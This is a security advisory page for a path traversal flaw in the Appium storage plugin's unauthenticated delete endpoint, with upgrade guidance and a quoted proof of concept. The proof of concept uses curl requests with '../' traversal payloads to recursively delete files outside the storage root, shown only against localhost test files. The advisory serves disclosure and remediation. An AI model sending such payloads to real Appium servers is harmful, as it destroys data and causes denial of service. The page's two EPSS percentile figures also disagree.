HIGH · CVSS 3.1 8.6 EPSS 0.6% · 45th percentile CWE-22CWE-73

CVE-2026-58192: appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

Published 2026-11-20 · Updated 2026-11-20 · Also known as GHSA-jwgx-mp9m-jwcr

Summary

The @appium/storage-plugin suffers from an unauthenticated arbitrary file and directory deletion vulnerability due to a path traversal flaw in the storage deletion endpoint. All engineering and security teams using affected versions of the Appium storage plugin must upgrade immediately.

Who is affected

Unauthenticated remote clients can send crafted delete requests containing directory traversal sequences, allowing them to recursively delete any file or directory writable by the Appium process user anywhere on the host filesystem. This creates severe risks of data loss and denial of service across developer workstations, CI runners, and device farms, especially since Appium often runs with broad privileges.

Exploitability

The vulnerability has a high CVSS base score of 8.6 with low attack complexity and no user interaction required over a network vector. The current EPSS score is 0.006 (percentile 0.514), and CISA KEV status is no, indicating active exploitation in the wild is not currently documented.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-21. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
npm @appium/storage-plugin >= 0, < 1.1.6 1.1.6 npm install @appium/[email protected]

CVSS 3.1 vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Attack vectorNetwork
Attack complexityLow
Privileges requiredNone
User interactionNone
ScopeChanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone

FAQ

Does exploitation require authentication?

No, the deletion endpoint does not require authentication.

What causes the path traversal vulnerability?

The storage deletion handler passes user-supplied names straight into path.join and fs.rimraf without path sanitization.

What is the fixed version for @appium/storage-plugin?

Version 1.1.6 is the fixed version.

Original advisory description
## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` - `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` - handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast - the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install [email protected] ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

References

Source records: GHSA-jwgx-mp9m-jwcr (OSV.dev) · EPSS by FIRST, 2026-11-26.